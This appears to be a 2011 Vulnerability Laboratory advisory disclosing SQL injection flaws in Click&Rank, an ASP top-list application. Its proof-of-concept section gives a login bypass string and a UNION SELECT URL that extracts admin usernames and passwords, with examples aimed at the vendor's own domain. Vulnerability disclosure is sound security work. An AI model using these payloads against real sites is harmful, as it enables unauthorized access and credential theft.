Click&Rank - Multiple SQL Injection Vulnerabilities

Document Title:
===============
Click&Rank - Multiple SQL Injection Vulnerabilities



Release Date:
=============
2011-07-03


Vulnerability Laboratory ID (VL-ID):
====================================
220


Product & Service Introduction:
===============================
While adding a TOP-List or TOP-Site to your hompage you can generate extra traffic, such as for banner advertising, music charts, et cetera. Click&Rank is a pure ASP application, includes a hitcounter and is MS accsess database driven. Fully configurable with a great Administration Panel.

(Copy of the Vendor Homepage: http://icash.ch/)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered multiple SQL Injection vulnerability on the Click&Rank Application.


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple SQL Injection Vulnerabilities are detected on the Click&Rank App.
The sql injection vulnerability allows an attacker to inject/execute own sql statements on the application dbms.

Vulnerable Page(s):
				[+] admin_dblayers.asp
				[+] admin_loginCheck.asp


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...

Example (Authentification Bypass) :
http://icash.ch/index.html?ClickAndRank/default.asp
User : ' or '1'='1
Pass : ' or '1'='1


Example :
http://icash.ch/ClickAndRank/admin_dblayer.asp?key=ID&tablename=admin&action=update&num=1%27
http://icash.ch/ClickAndRank/admin_dblayer.asp?key=ID&tablename=admin&action=update&num=1'

PoC:
http://icash.ch/ClickAndRank/admin_dblayer.asp?key=ID&tablename=admin&action=update&num=1+union+select+1,2,3,4,5,UserName,Password+from+admin#
==> The username is shown in the BackGrnd field !
==> The password is shown in the SortBy field !


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A


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=========================
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